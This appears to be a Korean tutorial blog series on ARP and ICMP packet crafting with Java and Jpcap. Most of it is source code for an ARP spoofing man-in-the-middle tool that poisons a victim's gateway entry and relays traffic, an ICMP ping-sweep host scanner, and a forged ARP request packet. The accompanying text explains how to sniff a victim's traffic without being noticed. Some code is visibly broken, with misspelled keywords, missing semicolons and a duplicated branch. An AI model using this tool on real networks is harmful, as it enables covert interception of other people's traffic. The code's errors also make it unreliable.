mima.myMac[3]==bytes[3] &&
mima.myMac[4]== bytes[4] &&
mima.myMac[5]== bytes[5] &&
mima.TarMac[0]==bytes[6]  &&
mima.TarMac[1]==bytes[7]  &&
mima.TarMac[2]== bytes[8]  &&
mima.TarMac[3]== bytes[9]  &&
mima.TarMac[4]== bytes[10]  &&
mima.TarMac[5]== bytes[11])
{               ///////////////////////catch
bytes[0]=mima.gwMac[0] ;                    /////////////chang the mac addressssssssssssssss
bytes[1]=mima.gwMac[1] ;
bytes[2]=mima.gwMac[2] ;
bytes[3]=mima.gwMac[3] ;
bytes[4]=mima.gwMac[4] ;
bytes[5]=mima.gwMac[5] ;
bytes[6]=mima.myMac[0];
bytes[7]=mima.myMac[1]; 
bytes[8]=mima.myMac[2];
bytes[9]=mima.myMac[3]; 
bytes[10]=mima.myMac[4]; 
bytes[11]=mima.myMac[5];
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapSender sender = null;
try {
sender = JpcapSender.openDevice(devices[mima.device]);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// make raw packet
Packet sendPack = new Packet();
System.out.println(">>>>>>>>>>>come to me>>>>>>>>kkkkkkkkf");
sendPack.data = bytes;
sender.sendPacket(sendPack);
sender.close();
}
}
}
===================== send.java ===============================================
import java.io.IOException;
import java.net.InetAddress;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.Packet;

public class send {
public void sendpack() throws IOException {

// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[60];

///일단 밑에 while문 전까지 기본적인 패킷의 정보 입력해놓은것
//Dst_mac
pb[0] = 0; pb[1] = 0; pb[2] = 0; pb[3] = 0; pb[4] = 0; pb[5] = 0;

// Src_Mac
pb[6] = 0; pb[7] = 0; pb[8] = 0; pb[9] = 0; pb[10] = 0; pb[11] = 0;

// Ether Type
pb[12] = (byte) 0x08; pb[13] = (byte) 0x06;

// Hardware type
pb[14] = (byte) 0x00; pb[15] = (byte) 0x01;
// Protocol Type
pb[16] = (byte) 0x08; pb[17] = (byte) 0x00;
// Hardware address size = Hardware length(Hlen) = Mac address size
// = 6byte
pb[18] = (byte) 0x06;
// Porotocol size= ip address size = 4byte 
pb[19] = (byte) 0x04;
// opcode Request = 1, reply =2
pb[20] = (byte) 0x00; pb[21] = (byte) 0x01;

// sender hardware address
pb[22] = 0;  pb[23] = 0; pb[24] = 0; pb[25] = 0; pb[26] = 0; pb[27] = 0;
// sender IP address
pb[28] = 0; pb[29] = 0; pb[30] = 0; pb[31] = 0;
// Target Hardware address
pb[32] = 0; pb[33] = 0; pb[34] = 0; pb[35] = 0; pb[36] = 0; pb[37] = 0;
// target Ip address
pb[38] = 0; pb[39] = 0; pb[40] = 0; pb[41] = 0;
while(truue )                              // state값에 따른 다른 내용의 패킷을 반복적으로 보냄   = arp spoofing reply 
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapSender sender = JpcapSender.openDevice(devices[mima.device]);
if(mima.state ==0)
{
pb[0] = (byte) 0xff; pb[1] = (byte) 0xff; pb[2] = (byte) 0xff;
                                pb[3] = (byte) 0xff; pb[4] = (byte) 0xff; pb[5] = (byte) 0xff;
// Src_Mac
pb[6] = mima.myMac[0]; pb[7] = mima.myMac[1]; pb[8] = mima.myMac[2];
                                pb[9] = mima.myMac[3]; pb[10] = mima.myMac[4]; pb[11] = mima.myMac[5];
// sender hardware address
pb[22] = mima.myMac[0];  pb[23] = mima.myMac[1]; pb[24] = mima.myMac[2];
                                pb[25] = mima.myMac[3]; pb[26] = mima.myMac[4]; pb[27] = mima.myMac[5];
// sender IP address
pb[28] = mima.myIp[0]; pb[29] = mima.myIp[1]; pb[30] = mima.myIp[2]; pb[31] = mima.myIp[3];
// Target Hardware address
pb[32] = 0; pb[33] = 0; pb[34] = 0; pb[35] = 0; pb[36] = 0; pb[37] = 0;
// target Ip address
pb[38] = mima.TarIp[0]; pb[39] = mima.TarIp[1]; pb[40] = mima.TarIp[2]; pb[41] = mima.TarIp[3];
}
else if(mima.state ==1)
{
//reply
pb[21] = (byte) 0x02;
pb[0] = mima.TarMac[0]; pb[1] = mima.TarMac[1];         pb[2] = mima.TarMac[2];
                                pb[3] = mima.TarMac[3]; pb[4] = mima.TarMac[4]; pb[5] = mima.TarMac[5];
// Src_Mac
pb[6] = mima.myMac[0]; pb[7] = mima.myMac[1]; pb[8] = mima.myMac[2];
                                pb[9] = mima.myMac[3]; pb[10] = mima.myMac[4]; pb[11] = mima.myMac[5];
// sender hardware address
pb[22] = mima.myMac[0];           pb[23] = mima.myMac[1];              pb[24] = mima.myMac[2];
                                pb[25] = mima.myMac[3];  pb[26] = mima.myMac[4];      pb[27] = mima.myMac[5];
// sender IP address
pb[28] = mima.gwIp[0]; pb[29] = mima.gwIp[1]; pb[30] = mima.gwIp[2]; pb[31] = mima.gwIp[3];
// Target Hardware address
pb[32] = mima.TarMac[0]; pb[33] = mima.TarMac[1];         pb[34] = mima.TarMac[2];
                                pb[35] = mima.TarMac[3]; pb[36] = mima.TarMac[4]; pb[37] = mima.TarMac[5];
// target Ip address
pb[38] = mima.TarIp[0]; pb[39] = mima.TarIp[1]; pb[40] = mima.TarIp[2]; pb[41] = mima.TarIp[3];
System.out.format("%d.%d.%d.%d 's GW is Spoofing......now\n", (0xff)&mima.TarIp[0], (0xff)&mima.TarIp[1], (0xff)&mima.TarIp[2], (0xff)&mima.TarIp[3]);

}
try {        //just wait.. because interval..no reason
      Thread.sleep(2 * 1000);                       //2초간격
    } catch (InterruptedException e) { }
sendPack.data = pb;
sender.sendPacket(sendPack);
sender.close();
}
}
}


=====================thread_for_dump.java=============================================
import jpcap.*;
import java.io.IOException;


public class thread_for_dump implements Runnable{
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[mima.device], 2000, true, 1);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}


=====================thread_for_send.java=============================================
import jpcap.*;
import java.io.IOException;


public class thread_for_send implements Runnable{
public void run(){
  send s = new send();
 
try {
s.sendpack(); /////////////////////////
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
==============================================================================
AND


저번에 말씀드린 ICMP패킷을 이용한 스캔 방법을 말씀드리겠습니다.

오늘은 정상적인 ICMP를 통해 응답에 따른  공격대상의 존재 유무를 파악하는 것을 해 볼 것인데요. ICMP 타입중에서도 0 과 8인  request와 reply를 이용해 보도록 하겠습니다. 
그리고 다음에 올려질 부분에 타입에 따라서 차이점을 설명하고 소스를 올리도록 하겠습니다.


저번에 ICMP를 올려본것과 큰 차이점은 없고 단지 툴의 형식을 좀 갖추었다는 것 인데요. 뭐 해킹 툴은 아니고 그냥 Jpcap 프로그래밍에 초점을 맞추어서 이 글을 읽으시면 .... 더 맞을것 같습니다. 

달라진 점은 다음과 같습니다.
1. 공격자의 IP와 MAC주소 자동 인지
2. 공격자의 디폴트게이트웨이 맥주소 자동인지
3. 희생자의 네트워크 서브넷 환경에 따른 범위 설정가능
4. CheckSum자동계산


보완해야할 부분
1. Padding관련 부분 구현안함
2. Request 패킷만 생성가능 
3. Type변화에 따른 헤더길이 변화 불가.  >>>>>>>차후 소스라우팅이나, 타임스탬프 가 적용가능토록 가변적인 헤더길이 요구
4. 스래드구현시 매끄럽지 못한부분들..



소스 구성
sfping.java                                패킷세부구성, 인터페이스에 따른 처리, IP와 맥주소 자동 획득
dump_for_thread.java              Jpcap에서 제공되는 메소드를 처리하기 위해 Runnable클래스로 감싸기 위한 작업
 dump.java                               패킷 캡쳐 및 , 조건문에 의한 특정 패턴 파악후 처리


================================      sfping.java===================================
import java.util.Scanner;
import jpcap.*;
import java.net.URL;
import java.util.Arrays;

import jpcap.packet.*;
import java.net.InetAddress;

import jpcap.NetworkInterfaceAddress;

public class sfping {
//////////////채크섬   채크과정, 
public static short cksum(byte[] buf, int len) {

int sum = 0;                   ////////2바이트씩 끊어읽을때, 사용되는 값, 2바이트만 사용합니다. 
int x = 0;                      //sum이 더해지는 변수 , 2바이트이상넘어가는 캐리가 발생되므로 4바이트형
int cmask = 0xffff0000;     //캐리만을 살려두기 위한 마스크
byte temp = 0;  //캐리가 임시저장될 공간
short CK = 0;  //최종 채크섬 값이 리턴될 변수

for (int i = 0; i < len; i++) {
sum = (((int) buf[i]) << 8) & 0xFF00 | ((int) buf[i+1])&0xFF;        //// 이부분에서 자바 처리가 AND연산을 꼭 해줘야
x = x + sum; 
i += 1;  //2바이트씩 끊어읽기위해 증가
}
temp = (byte) ((x & cmask) >> 16);   //캐리획득
CK = (short) ~(x + temp);  //1의 보수
return CK;
}
public static void main(String[] args) throws java.io.IOException {
if (args.length !=2) {
System.out.println("Usage: java Arscan NetworkAddress NetMask");           //이렇게 사용하세요
System.exit(0);
} else {

// Jpcap init static
NetworkInterface[] devices = JpcapCaptor.getDeviceList();  
// interface list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");

// select interface   
System.out.print("\n=================================\nSelect Your Network Interface => ");
Scanner scan = new Scanner(System.in);  ///자바에선 이런식으로 입력받음.. C보다 귀찮음.
int device = scan.nextInt();                   ///선택한 인터페이스번호를 저장

//get My IP  & MAC  auto,... 자동으로 내 맥주소와 IP를 획득한다. Jpcap에서 제공하는 NetworkInterfaceAddress
//이다. 자바에서 제공하는거랑 헷갈리지 않도록. 
byte[] myIp = new byte[4];
byte[] myMac = new byte[6];
for (NetworkInterfaceAddress a : devices[device].addresses){     >>>요부분을 다른식으로 표현하고 싶은데 패스~
///devices[device]  ..요기서 device  는 위에서 선택한 인터페이스 번호임
InetAddress intaddr = a.address;         ///한번 찍어주고
myIp = intaddr.getAddress();     /// IP   자동 획득, byte[] 형식
myMac = devices[device].mac_address;// Mac   자동 획득, byte[] 형식
break;                       ////just one time  이게 위에서 for문을 통해 두번돌게 되있다. 첫번재돌대는 IPv4.
/// 두번째 돌대는 IPv6버전으로 나타나는게 첫번째꺼 사용을 위해 한번돌고
//break;
}
/////////////////////  Get the gateway mac....auto..........  ///// 이부분은 Jpcap에서 제공해주는 microsoft로 임의의 패킷을 보
//내서 거기서 디폴트게이트웨이의 맥주소를 잡아낸다. 그냥 갖다 써먹자. 
JpcapCaptor captor=JpcapCaptor.openDevice(devices[device],2000,false,5000);
InetAddress pingAddr=InetAddress.getByName("www.microsoft.com");
captor.setFilter("tcp and dst host "+pingAddr.getHostAddress(),true);
byte[] gwmac=null;
while(true){
new URL("http://www.microsoft.com").openStream().close();
Packet ping=captor.getPacket();
if(ping==null){
System.out.println("cannot obtain MAC address of default gateway.");
System.exit(-1);
}else if(Arrays.equals(((EthernetPacket)ping.datalink).dst_mac,devices[device].mac_address))
continue;
gwmac=((EthernetPacket)ping.datalink).dst_mac;  ////   요렇게 gwmac[] 에 byte형식으로 저장된다. 
break;
}
// capture start
Dump_for_thread t = new Dump_for_thread();           ///스레드 생성해서 sending과 capture를 동시에...
Thread thd1 = new Thread(t);
thd1.start();
try {        //just wait.. because interval..no reasonrseinInt
      Thread.sleep(2 * 1000);                 ///보내는 시작 속도가 캡쳐시작속도보다 빨라서 2초기다리고
    } catch (InterruptedException e) { }
    
  //Target IP setting              //커맨드 형식에 따라 IP를 받아서 셋팅가능토록 배열에 저장해두고
    byte[] TarIp = InetAddress.getByName(args[0]).getAddress();
   
    //Target mask setting       //커맨드 형식에 따라 마스크 정보를 입력받아 스캔할 범위를 자동으로 지정
    byte startIp=0;            //마스크에 따른 시작 IP
    byte endIp=0;           //마스크에 따른 마지막IP
    int mask = Integer.parseInt(args[1]);
    if(mask==24)
    {
     startIp = 0;
     endIp = (byte)255;
    }
    else if(mask ==24)
    {
     if(!(TarIp[3] == 0 )) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+255); System.out.println(myIp[0]+""+ myIp[1]);
    
    }     
    else if(mask ==25)
    {
     if(!(TarIp[3] == 0 | TarIp[3]==128)) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+127);
    }
    else if(mask ==26)
    {
     if(!(TarIp[3] == 0 | TarIp[3]==64 | TarIp[3]==128 |TarIp[3]==192 )) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+63);
    }
    else if(mask ==27)
    {
     if(!(TarIp[3] == 0 | TarIp[3]==32 | TarIp[3]==64 |TarIp[3]==96| TarIp[3]==128 
     |TarIp[3]==160 |TarIp[3]==192 | TarIp[3]==224)) { System.out.println("Check the Subnet and IP");  System.exit(0);}
     startIp = (byte)(TarIp[3]+1);
     endIp = (byte)(TarIp[3]+31);
    }
    

    // sender init
JpcapSender sender = JpcapSender.openDevice(devices[device]);
// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[64];
// Dst Mac            //위에서 자동획득한 gw 맥주소 입력
pb[0] = gwmac[0];
pb[1] = gwmac[1];
pb[2] = gwmac[2];
pb[3] = gwmac[3];
pb[4] = gwmac[4];
pb[5] = gwmac[5];
// Src_Mac
/////// 내꺼 Mac주소 입력
pb[6] = myMac[0];
pb[7] = myMac[1];
pb[8] = myMac[2];
pb[9] = myMac[3];
pb[10] = myMac[4];
pb[11] = myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x00;
////////////////////////////////////////////////////////////           IP
// Header Ver, Length
pb[14] = (byte) 0x45;                 ///헤더 길이 5*4 =20    type변경시 헤더길이 변경해줘야함
//TOS                              //상황에따라 수정가능 .. 보통건드리지 않고
pb[15] = (byte) 0x00;
// Total Length0                   //전체 데이터의 길이를 구하기 위해 계산 16비트이므로 최대 2^16
pb[16] = (byte) 0x00;        
pb[17] = (byte) 0x32;
// ID                                  //조각화 되었을때 동일 패킷임을 입증하는 ID 같은 ID안에서 아래 offset로 찾는다
pb[18] = (byte) 0x00;
pb[19] = (byte) 0x00;
// Flags, Fragment offset           //////플레그멘테이션으로 공격시 수정되는 부분   
pb[20] = (byte) 0x40;
pb[21] = (byte) 0x00;
//TTL                                  // traceroute 구현시 수정되는 부분
pb[22] = (byte) 0x80;
//Protocol
//tcp 6 udp 17   icmp 1               //상위계층의 정보
pb[23] = (byte) 0x01;
//Header Checksum             //일단 0 으로 채우고 iP해더 다 채워지면 그때 계산해서 나중에채움
pb[24] = 0;
pb[25] = 0;
//source IP                  //아까 자동획득했던
pb[26] = myIp[0];
pb[27] = myIp[1];
pb[28] = myIp[2];
pb[29] = myIp[3];

//Dst IP                      마지막 부분은 Mask정보에 따라 가변적이므로 0으로 일단채워둠
pb[30] = TarIp[0];
pb[31] = TarIp[1];
pb[32] = TarIp[2];
pb[33] = 0;
/////// IP checksum을 위한 IPHeader배열 생성   여기에는 IP헤더만 들어감, 나중 채크섬계산시 길이와함께 전달
byte IPHeader[] = new byte[20];
for(int i=0; i<((pb[14] & 0x0f) * 4); i++)
IPHeader[i] = pb[i+14];
////////////////////////////////////////////////////////   ICMP

//TYPE
pb[34] =  (byte)0x08;           //request
//Code
pb[35] =  (byte)0x00;           //
//Checksum
pb[36] = 0;             //일단 비워두고 나중에 계산해서 채움
pb[37] = 0;
//IDint
pb[38] =  0;          //보내는 쪽이므로 신경쓸필요없음
pb[39] =  0;
//Sequence Number
pb[40] = 0;            //보내는 쪽이므로 신경쓸필요없음
pb[41] = 0;
///data              임의데이터 생성
for (int i = 0; i < 22; i++) 
pb[42+i] = (byte)i;
//Checksum                                             
byte ICMPHeader[] = new byte[30];      ///IPHeader과 마찬가지로 
for(int i=0; i<30; i++)
{
ICMPHeader[i] = pb[i+34];
}
//////////ICMP Checksum 
pb[36] = (byte)(cksum(ICMPHeader,30) >>8);             //Checksum메소드에 헤더와 길이를 넘겨줌
pb[37] = (byte)(cksum(ICMPHeader,30));                       ///계산된 값이 리턴되어 돌아옴, 2바이트르 리턴하므로
//나눠서 한바이트씩 저장
////////////IP checksum
//   ICMPchsecksum을 계산할 때와는 달리 매번 변경되는 IP주소를 반영해서 Checksum을 계산해야 하기 때문에
//ip하나 바꾸고 채크섬 계산하고 보내고, ip하나 바꾸고 채크섬 계산하고 보내고,... 이런식으로 구현해야한다.

for(int i=startIp; i<=endIp; i++ )         //Mask에 따른 시작주소와 끝주소결정된것을 사용
{
IPHeader[19] = (byte)i;         //checksum을 위한 정보에도 
pb[33]=(byte)i;
pb[24] = (byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8); //       헤더에 선언된 길이정보를 가지고 넘겨줄
pb[25] = (byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))); //길이를 자동선출

sendPack.data = pb;  
sender.sendPacket(sendPack);
}
sender.close();
}
}
}


////////////////dump_for_thread.java          ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
<br />
import jpcap.*;
import java.io.IOException;
<br />
<br />
public class Dump_for_thread implements Runnable{            /// 요거는 Java관련된건데 인터넷찾아보면 잘나옴
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[0], 2000, true, 1);            ///요부분을 수정해야함 . 일단은그냥 
///스테틱하게 정해버렸는데,  sfping.java에서 선택된 device값을 받아와서 적용되도록 수정해줘야한다.
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}
<br />
////////////////               dump.java          ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
mport jpcap.PacketReceiver;
import jpcap.packet.Packet;

class dump implements PacketReceiver
{
public void receivePacket(Packet p) 
{
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
if (bytes[34] == (byte) 0x00 &&bytes[23] ==(byte)0x01) 
///icmp 중 reply인것만
{
System.out.format("%d.%d.%d.%d is alive\n", (0xff)&bytes[26], (0xff)&bytes[27], (0xff)&bytes[28], (0xff)&bytes[29]);
}
}
}
===============================================================================================



이런식으로 수행됩니다 

이 소스를 토대로 다음 ICMP 를 이용한 스캔에서는   수정되는 부분만 올리고 설명하도록 하겠습니다. 

AND


오늘은 소스를 살펴보도록 하겠습니다.
ARP spoofing 소스는 인터넷에서도 많이 구하실 수 있을테지만, 최대한 이해가 쉽게 설명해 보도록하겠습니다.
ARP는 프래임의 헤더부터 잘 보셔야 합니다. 


시나리오 구성

                                         일반적인 토폴로지입니다.

--------------------------------------------------------------
희생자 ARP TABLE
c:\> arp -a

192.168.0.1            00-11-22-33-44-55        dynamic
--------------------------------------------------------------
===> 희생자가 인터넷을 이용하기 위해선, Ethernet header의  Destnation Mac address부분인 패킷의 맨 처음 6바이트가 
00:11:22:33:44:55 로 채워지게 됩니다.  이부분을  존재하지 않는 MAC주소나 원하는 MAC주소로 바꾸게끔 하는게 핵심입니다.

--------------------------------------------------------------
희생자 ARP TABLE
c:\> arp -a

192.168.0.1            0f-ee-13-23-df-22       dynamic          ---------------   1번
                                                                                                      or
192.168.0.1            22-22-22-22-22-22       dynamic        ----------------  2번
--------------------------------------------------------------
1과 같은 존재하지 않는 MAC주소나

2와 같은 공격자의 MAC주소로 지정되어있으면
게이트웨이로 향하는 모든 패킷은 갈곳을 찾지 못하여 인터넷이 안되거나 공격자에게로 전달하게 됩니다. 




지금부터 그 과정을 살펴보겠습니다.

공격 시나리오로는 공격자의 PC에서 희생자 PC로 ARP Request패킷을 보내는 상황입니다.

다음은 게이트웨이 주소가 조작된 ARP Request패킷입니다.
===============================================
///////////////////////////////                send. java  ////////////////////////
import jpcap.*;
import jpcap.packet.*;

class send
{
 public static void main(String[] args) { 
NetworkInterface[] devices = JpcapCaptor.getDeviceList();              //인터페이스목록을 얻어오는 jpcap llibrary 메소드

JpcapSender sender=JpcapSender.openDevice(devices[0]);          // 0번 인터페이스 선택, 일반적으로 0번들 많이쓰십니다. 
Packet sendPack = new Packet();      //Packet에 대한 개체를 정의.   Jpcap library 에서 정의한 구조라, 따라줘야함.
byte pb[] = new byte[60];       //패킷 크기 정하기 . 기본 60셋팅해주고

//Dst Mac               //////  arp request 패킷은 목적지가 브로드케스트입니다.
pb[0]=(byte)0xff;  pb[1]=(byte)0xff; pb[2]=(byte)0xff; pb[3]=(byte)0xff; pb[4]=(byte)0xff; pb[5]=(byte)0xff;
  //Src_Mac              ////  보낸사람 맥주소. 위장하거나 숨겨야 합므로 아무거나.......
pb[6]=(byte)0x00;  pb[7]=(byte)0x0d; pb[8]=(byte)0x60; pb[9]=(byte)0xb7; pb[10]=(byte)0xd1; pb[11]=(byte)0x12;    
  //Ether Type            //// 타입은 0806 arp입력해주시고,
pb[12]=(byte)0x08; pb[13]=(byte)0x06;
//Hardware type              //네트워크 유형 . 이더넷은 1입니다. rfc 1060 참고하세요
pb[14]=(byte)0x00; pb[15]=(byte)0x01;

//Protocol Type  //어떤유형의 프로토콜을 사용하는가 입니다. ip Ver 4이므로 0800
pb[16]=(byte)0x08; pb[17]=(byte)0x00;

//Hardware address size = Hardware length(Hlen)  = Mac address size = 6byte         //Mac주소는 6바이트
pb[18]=(byte)0x06;

//Porotocol size=  ip address size = 4byte     //IP주소는 4바이트
pb[19]=(byte)0x04;

//opcode    Request = 1, reply  =2           
pb[20]=(byte)0x00; pb[21]=(byte)0x01;
//sender hardware address     
pb[22]=(byte)0x00; pb[23]=(byte)0x00; pb[24]=(byte)0x00; pb[25]=(byte)0x00; pb[26]=(byte)0x00; pb[27]=(byte)0x00
//  GW의 MAC주소로서  바꾸고자하는 조작한 MAC주소 
//  (6바이트를 의미없는 값이나 공격자의 MAC주소로 바꾸면됩니다.)

// sender IP address 
pb[28]=(byte)0xc0; pb[29]=(byte)0xa8; pb[30]=(byte)0x00; pb[31]=(byte)0x01
////    희생자에게 전달될 GW  IP로 정확하게  192.168.0.1

//Target Hardware address 
pb[32]=(byte)0x00; pb[33]=(byte)0x00;        pb[34]=(byte)0x00; pb[35]=(byte)0x00; pb[36]=(byte)0x00;       pb[37]=(byte)0x00;
//ARP Request 정상패킷에서도 이부분은 비워두고 전달합니다.  
// 공격시에도 이부분은 비워두시고.

//target Ip address
 pb[38]=(byte)0xd2; pb[39]=(byte)0x6d; pb[40]=(byte)0x03; pb[41]=(byte)0x56;
// ARP Request 공격패킷에서 정확하게 희생자의 IP주소를 입력해 주어야 합니다.

sendPack.data =pb;
sender.sendPacket(sendPack); 
sender.close(); 
}
}
==========================================================================

ARP reply를 이용한 공격도 가능합니다만, request 와 reply는 패킷의 구성요소 조작시에 고려해야 할 사항이 조금 다릅니다
request와 reply둘다 Arp 구조안의 Sender Mac address를 조작하고 Sender IP address에 조작된 IP와 맵핑될 IP주소가들어간다는것은 똑같습니다. 
차이점은  request패킷의 Sender IP에  희생자의 ARP table에 없는(희생자가 알지못하는) IP주소를 넣어도 해당IP와 조작된 MAC 주소가 희생자에 테이블에 올라갑니다.  
하지만 reply패킷에서는 Sender IP에  희생자의 ARP table에 없는(희생자가 알지못하는) IP주소를 넣으면 희생자 테이블에 아무런 변화가 없습니다. 

이를 이용하게 되면 원하는 IP에 원하는 MAC주소까지 마음데로 희생자 ARP 테이블을 조작할 수 있습니다. 

결국 arp spoofing은 공격자가 희생자의 ARP table을 조작해서 원하는 곳으로 패킷의 이동경로를 조작하는 행위입니다.

reply패킷은 직접 만들어 보시기 바라며, 반듯이 공부용으로만 사용하여 주시기 바랍니다. 

AND

작성자유창훈

ARP부터 시작하겠습니다. 
패킷 구조가 나와있는 책은 꼭 한권 옆에 두고 언제라도 참고할 수 있도록 하시면 좋겠습니다.

1. ARP 이해 
2. 구조
3. 공격 방법
4. 방어 방법



1. ARP 프로토콜의 이해.

: 주소변환프로토콜. 
 
이더넷 환경에서 프래임의 구조는 위의 그림과 같습니다.
여기서 MAC Header이라고 되어있는 부분이 이더넷 헤더 이고 , Ether Type에 정의된 형식에 따라 뒤에 오는 Data부분이 ARP가 될 수 도 있고 RARP가 될 수 도 있고 IP 가 될 수 도 있습니다. 

이더넷 헤더에서 보듯이 제일앞에 나오는것, MAC 주소가 제일 먼저 나옵니다. 그만큼 이유가 있겠지요.
컴퓨터에서 다른 컴퓨터로 데이터를 전달할 때, 라우터를 거치게 됩니다.  전체구간동안 패킷안에 src_IP와 dst_IP는 변화가 없지만 MAC주소는 변하게됩니다.  즉, 각 구간마다 MAC주소는 변하게 되며 실질적인 통신이 가능하게 해주는 것은 MAC주소가 있기 때문입니다.  

보통 PC에서 처음인터넷을 연결할때, 게이트웨이의 IP주소는 알고있는데, MAC주소를 모릅니다. 
MAC주소가 없으면 데이터를 보내고자 할 때, 위에서보는 이더넷 프래임의 처음 6바이트를 채우지 못하여 데이터를 전달할 수가 없습니다. 
그래서 ARP 를 통하여 "내가 IP를 알고있으니 이 IP에 해당하는 MAC주소를 내놔라" 하면서 방송하는 것이 ARP입니다. 반대는 RARP이겠지요.~

ARP는 같은 네트워크 상에서만 공격이 가능합니다. Request패킷이 방송(브로드캐스트한다고해도) Router을 넘을 수 없으므로 ARP공격은 다른 네트워크 대역으로 할 수 없다는 뜻입니다. 아주 철통같은 망이라해도 유선이든 무선이든 한 곳이라도 접속가능하다면 위험합니다. 

2. 구조분석

 ARP구조는 다음과 같습니다.  구조는 살짝 참조하였습니다(http://www.ktword.co.kr/abbr_view.php?m_temp1=2188)
0                                                                31  
┌─────────────────┬────────────────┐──────────────────────────────────  
│           Hardware type          │        Protocol Type            │  
├────────┬────────┼────────────────┤──────────────────────────────────
│Hardware Length │ Protocol Length│ Operation │  
├────────┴────────┴────────────────┤──────────────────────────────────
│ Sender Hardware Address │  
├─────────────────────────────────────────────────────────────────────
│ Sender Protocol Address │  
├────────────────────────────────────────────────────────────────────
│ Target Hardware Address │  
├────────────────────────────────────────────────────────────────────
│                     Target Protocol Address                        │  
└────────────────────────────────────────────────────────────────────
<구조 설명은 위에 링크를 참고하셔서 알아두시면됩니다.>  
ARP 패킷 보실때    
opcode  가   1(Request)인지 2(Reply)인지 확인하시고, 

Request라면 다음과 같이 셋팅 됩니다. 
Sender Hadware Address : 보내는 노드 MAC주소         ========>>>> 이부분의 
Sender Protocol Address :  보내는 노드 IP주소
Target Hadware Address :  0으로 채워져있습니다.
Target Protocol Address :  MAC주소를 알고자하는 노드의 IP주소
Reply라면 다음과 같이 셋팅 됩니다
Sender Hadware Address : 보내는 노드  MAC주소         ========>>>> 이부분의 
Sender Protocol Address :  보내는 노드 IP주소
Target Hadware Address :  Request보낸사람의 MAC주소
Target Protocol Address :  Request보낸사람의 IP 주소

나머지 패킷 구성은 보시면 그냥 하실수있을정도입니다. 

3. 공격 방법 
ARP Spoofing 공격은 로컬 네트워크(LAN)에서 사용하는 ARP 프로토콜의 허점을 이용합니다. 허점이라하면 아무런 여과없이 ARP Request ,Reply를 받아들인다는 것이지요. 

ARP Request, Reply 둘다 사용할 수 있지만 Request를 많이 이용합니다. 

밑에 표는  ARP Request와 Reply 패킷으로 위장한 공격 패킷을 보낼때 필드에 채워질 사항으로 한번 정리해 보았습니다.  

 

 Request Reply 
 
Dstnation MacAddress
 Broadcast  Target의 정확한 Mac 주소
 
Source Mac Address
 자신을 숨기기위한 가짜 주소 자신을 숨기기 위한 가짜 주소 

Sender Mac Address 
 밑에 Sender IP와 맵핑될 MAC주소
(spoofing 시 공격자나 전달될 곳의 
 MAC주소로 위장)
 밑에 Sender IP와 맵핑될 MAC주소
(spoofing 시 공격자나 전달될 곳의 
 MAC주소로 위장)

 Sender IP Address
 네트워크상에 존재하는 IP
(spoofing시 일반적으로 Gateway IP)
공격 대상자의 ARP 캐시 테이블에
있는 IP

Target Mac Address 
 0으로 채움  아무거나 가능

 Target IP Address
 공격 대상자의 IP  아무거나 가능

딱 보시면 아시겠지만 Request패킷이 두가지 정도  신경쓸 필요가 없습니다.
저는 보통 특정 컴퓨터 한대만을 대상으로 할때는 Request를 사용하고  , 다수의 컴퓨터를 대상으로 할 때는 Reply를 사용합니다. 

여기서 ARP Request 패킷안에 게이트웨이의 정상적인 IP와 게이트웨이의 변조된 MAC주소(공격자 자신의 MAC)를 셋팅해서 공격대상인 PC에 보낸다면 어떻게 될까요?  자신의 응답패킷을 받은 컴퓨터는 당연히 게이트웨이 IP주소에 해당하는 MAC주소를 덮어쓸것입니다. 여과없이....
그러면 공격을 받은 PC는 (외부로 나가는 = 인터넷을 하는)모든 패킷의 처음 6바이트인 목적지 주소를 공격자의 MAC주소로 바꾸어 전송하게 됩니다. 공격자 PC에서는 이렇게 전달 받은 패킷을 진짜 gateway로 잘 전달해주면됩니다.

또 gateway를 상대로도 똑같은 원리를 적용하여 공격 대상자의 IP주소에 해당하는 맥주소를 공격자의 MAC주소로 변환시키고 외부로 부터 공격대상자로 가게 되는 패킷들은 gateway로 부터 잘 받아서 전달해 주기만 하면 됩니다. 

그러면 공격 대상자 는 인터넷이 조금 느려진다는 것을 제외하곤 이 사실을 눈치채기 어려우며, 공격자는 가만히 앉아서 교환되는 모든 패킷을 감시하는 Sniffing을 할 수 있습니다.  즉 , 예전 더미허브 환경과는 달리 요즘은 스푸핑을 전제로 스니핑을 시도하는 경우가 많습니다.

ARP공격에 따른 캐시테이블의 변화도  직관적이기 때문에 arp -a 리눅스는 arp -n 명령어를 통하여 확인가능합니다.


4. 방어개념
 
